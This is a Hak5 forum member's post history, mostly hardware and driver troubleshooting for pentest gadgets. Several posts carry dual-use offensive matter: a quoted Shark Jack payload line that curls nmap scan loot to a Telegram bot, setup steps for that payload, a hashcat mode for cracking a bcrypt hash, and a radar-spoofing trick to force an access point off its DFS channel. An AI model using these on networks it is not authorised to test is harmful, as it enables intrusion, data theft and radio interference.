Jump to content

chrizree

Active Members
  • Content Count

    163
  • Joined

  • Last visited

  • Days Won

    11

Everything posted by chrizree

  1. The ALFA AWUS036ACH uses the Realtek RTL8812AU, so kmod-rtl8812au-ct should be used, but I guess there will be less luck doing so. Perhaps it works using the Tetra, but the Nano keeps on resetting/rebooting when using adapters based on that chipset for some reason. Even when using a beefy power supply. https://www.alfa.com.tw/products_detail/1.htm https://deviwiki.com/wiki/ALFA_Network_AWUS036ACH
  2. OK, what Pineapple firmware version are you running? The latest (2.7.0) or some older one?
  3. Did you get the manually set up VPN working? Reading your post from the 25th of June, it appears that you hadn't gotten that to work at that moment, but now it seems as if you can at least start it manually. The reason for my question is to make sure you know that the VPN connection from the WiFi Pineapple is really up and running, i.e. that you have verified the public facing IP address is originating from ExpressVPN and that the tun interface is up. The OpenVPN GUI/module for the WiFi Pineapple isn't that accurate sadly. It says that is enabled or running but it can be totally "dead" under t
  4. The easiest way is probably to delete the db file (as said) and start over. Since you seem to have just set it all up, you will not have to redo a lot of things within your Cloud C2 instance. If you care to try to crack the hash, it seems to be stored with bcrypt/blowfish (Hash-Mode 3200 in hashcat) but I guess you will unnecessarily heat up your GPU(s).
  5. I have no idea sadly. Please ask Hak5 support. https://shop.hak5.org/pages/support
  6. What is in the other end of the Micro USB cable that powers your Tetra? A USB charger of some kind? If so, how many amps is that charger able to produce? The only guaranteed power method for the Tetra is using the original 12V DC adapter, so I would wait for the new one to arrive before proceeding searching for possible sources to the problem. You could of course make absolutely sure that you supply enough power via USB (I wouldn't go with USB ports from a PC though, even with a Y cable). It needs 24 watts for normal stable operation, i.e. 5 A at 5 volt. On the other hand, you seem to have bee
  7. Do you experience the same problem as described in your post from the 3rd of January? https://forums.hak5.org/topic/50855-no-internet-acces-on-the-wifi-pineapple-tetra/?tab=comments#comment-326465 According to the Tetra documentation, the WAN port should be eth0, not the LAN port. You say in the first post in this thread that you want to use eth0 for WAN/internet access but in the second post in this thread you say that the LAN port is eth0 which makes it all a bit confusing. LAN should normally be on eth1 on the Tetra. https://docs.hak5.org/hc/en-us/articles/360010555493-Wired-Internet-c
  8. OK, I know this thread is getting full of grayish hair since it's old, but I still want to respond since it can help someone else in the community that is doing some searching in the future. Using a Raspberry Pi to hand out DHCP leases isn't limited to wireless only, but will of course work with wired communication as well. The media/carrier isn't any obstacle here. I use it in different scenarios and my "go to" friend when doing this is dnsmasq. It's easy to set up using a fresh Raspberry Pi OS Lite installation and then just add dnsmasq (plus the configuration needed that comes with it)
  9. Try the payload script on my GitHub repo. Note that the NETMODE file needs to be adjusted. https://github.com/chrizree/Hak5-SharkJack-MAC-pilfer-and-nmap-scanner And... I always get chills down my spine when 802.1X and MAC authentication is mentioned in the same sentence, but that's another discussion 😉
  10. I can't seem to get NETMODE DHCP_SERVER to work on my Shark Jack in Attack Mode. Even with the simplest payload script, nothing happens when connecting it to a device. I've tried with several different PCs but no success at all for some strange reason. No link and no IP address received. The equivalent feature works perfectly well in Arming Mode though. I.e. I get an IP address assigned from the Shark Jack when connecting it to a PC. The Shark Jack runs the latest firmware (1.1.0) Edit: It seems as if Arming Mode uses dnsmasq and Attack Mode uses odhcpd. Since Arming Mode w
  11. Perhaps it's a bug in the script on line 100 (if you haven't changed it yourself) The line says curl -v -F "chat_id=YOUR CHANEL ID" -F document=@$LOOT_DIR/nmap-scan_$SCAN_M.txt $URL_FILE but the variable for the channel ID should be used of course instead of YOUR CHANEL ID, or putting the ID itself there, but... since there already is a variable for it in the script, $ID_CHANEL should be used as I can see it
  12. It's not much of a step-by-step needed actually. You just need a Telegram bot and a channel to add to the script. Copy the payload script from the GitHub source and make the changes needed (i.e. add the Telegram bot token and the channel id) Curl is also needed as per instructions in the payload script comments opkg update opkg install curl probably also opkg install libcurl Add the payload script file to the /root/payload/ directory of the Shark Jack Power off the Shark Jack and then put it in Attack Mode and plug it into an Ethernet port connecting to the network
  13. The very first of the tips I can give you is really to get dirt under your fingernails and dig into the the area of cyber security to better understand it all to get a foundation to build upon. Even though I think that Hak5 devices is a very good starting point since they make things easier for those that might not be that proficient, knowledge is always the base for everything. Operating within cybersec isn't like using a toaster sadly. There is no single button to press and get a slice of toasted bread. Of course there are scripts and solutions that can be used by nearly anyone, but they sti
  14. And... of course, since we are on the Hak5 forum, there are Hak5 devices that possibly can be used for this as well. It depends on how you want to do it and to what extent. For example the WiFi Pineapple, the Signal Owl, the Plunder Bug and the Packet Squirrel.
  15. There are two different scenarios here; one is to collect traffic passing your router/network and the other is to scan for WiFi devices. When it comes to Wireshark it's not an easy to use tool/software if skill levels are low or moderate. Collecting info is one thing, but analyzing it all later and fnd what you are really looking for will require a pretty heavy amount of skills when it comes to understanding protocols and networks in general. Then, you can't just capture traffic "just like that". You need some kind of relevant equipment to do it. It all depends on your setup. If it's an ordina
  16. chrizree

    Telegram

    The original post is pretty much almost 1 year old and the user has just posted once, so I guess there will be less of a chance that the original poster will get back with the final solution. However, there is a fairly new post (linked below) involving Telegram. Perhaps not the exact use case scenario as described in this thread, but it can be used as a base to develop/reproduce the same functionality using Telegram and the Shark Jack. https://forums.hak5.org/topic/53042-telegram-bot-nmap-sharjack/ https://github.com/felinuxing/sharkjack-payloads/blob/master/payloads/library/recon/Te
  17. I can replicate the problem using the same setup. I then tried the same with one of my GL.iNet mini-routers that are running a slightly later release of the OpenWRT kernel. It wasn't successful but the ALFA adapter at least identified itself with a correct MAC address. The rest of the test was a "crash and burn" though. Not working at all so I guess it has something to do with the package/driver/kmod for the 8812AU chipset or kernel related or a combo (or something else). Perhaps something more needs to be installed to get it working. From previous experience, dependencies aren't always instal
  18. If using the 5 GHz spectrum and if the AP is operating on a DFS channel (depending on country/region) and if in possession of some suitable device that can generate radar traffic (such as an AWG), it should be possible to force an AP to change channel without having administrative control over it. DFS works in a way that makes an AP drop ongoing transmissions if a radar signal is discovered on the active channel, broadcast a channel switch, then disassociates all clients and changes to another channel. If the new channel is a DFS channel as well, the AP/wireless controller waits for about 60 s
  19. I can't comment on the overheating issues that you have. It isn't anything that I've experienced and I see no real need of adding a fan to a design that Hak5 would already have been thinking of when creating the Nano. It should be able to stand the workload without additional cooling. Since I'm not normally a Windows user, I just hooked up my Nano to a clean and freshly installed Windows 10 Home 64 bit box (with the 2004 release and all updates added) and the Nano identifies itself without any complaints. What version of Windows are you using and have you tried to hook the Nano up to anot
  20. Yes, either that, or the passwords are simply the same as the usernames Running the following for the usernames user, admin and support results in the same sha256 output that is said to be the user passwords for the respective username according to the config file output echo -n '<username>' | sha256sum
  21. I have never experienced any issues with my Nano, but I have noticed that there are comments of various kinds related to problems with the Nano. I haven't dug any deeper though in trying to understand if those complaints are related to actual platform problems or lack of knowledge about the platform. Some (SD card related) seems to be known platform problems though that is said to be fixed if I understand the ongoing discussion correctly. What kind of problems are you facing with the Nano? Provide a detailed description of your scenario so that the community can try to help you moving forward.
  22. The biggest difference in my opinion is the fact that the Nano (or Tetra) won't have the same focus anymore when it comes to upgrades and features. If you want to ride the wave of the future when it comes to the WiFi Pineapple, I guess there's no other option than going with the Mark VII. The interface has gotten new features that will most likely never become available on the Nano or Tetra. The community support will most likely remain (at least for some time) for the Nano and Tetra but I think it will tilt over towards a more active community for the Mark VII, especially since the Hak5 team
  23. A bit off topic, but regarding ALFA adaptes and Kali Linux, I have the AWUS036AC (Realtek RTL8812AU, same chipset as the AWUS036ACH), the AWUS036ACS (Realtek RTL8811AU) and the AWUS1900 (Realtek RTL8814AU) and they all work in Kali Linux using realtek-rtl88xxau-dkms Check to really see that the adapter is working or not with a fully updated version of the latest release of Kali and installed adapter support as per below Install support for the adapter apt install realtek-rtl88xxau-dkms Attach the adapter to the PC Run lsusb and iwconfig to see that the adapter is identified
  24. Running the script in CLONE mode isn't working due to the fact that the Packet Squirrel hasn't got a br-lan interface in CLONE mode. You can easily add a couple of lines to the original payload script to see what is happening "live" as the payload is running and watch the br-lan interface "disappear" when entering CLONE mode. Replace these lines in the "run" function: # Set networking to TRANSPARENT mode and wait five seconds NETMODE TRANSPARENT sleep 5 With these lines: # Set networking to TRANSPARENT mode and wait ten seconds NETMODE TRANSPARENT
  25. I think that if Hak5 has the Alfa adapter listed as compatible, it will work. I guess the reason why many are complaining about lack of Linux support is that those comments are "historical" (i.e. rather old) since the MT7612U chipset (that the AWUS036ACM is built around) is supported in newer kernels. I have a couple of Aukey WF-R13 (with the MT7612UN chipset) and they work "out of the box" in Ubuntu and fresh releases of Kali Linux along with for example airodump-ng in monitor mode. Even MediaTek themselves lists Linux as a working operating system on the MT7612U chipset info page: https
×
×
  • Create New...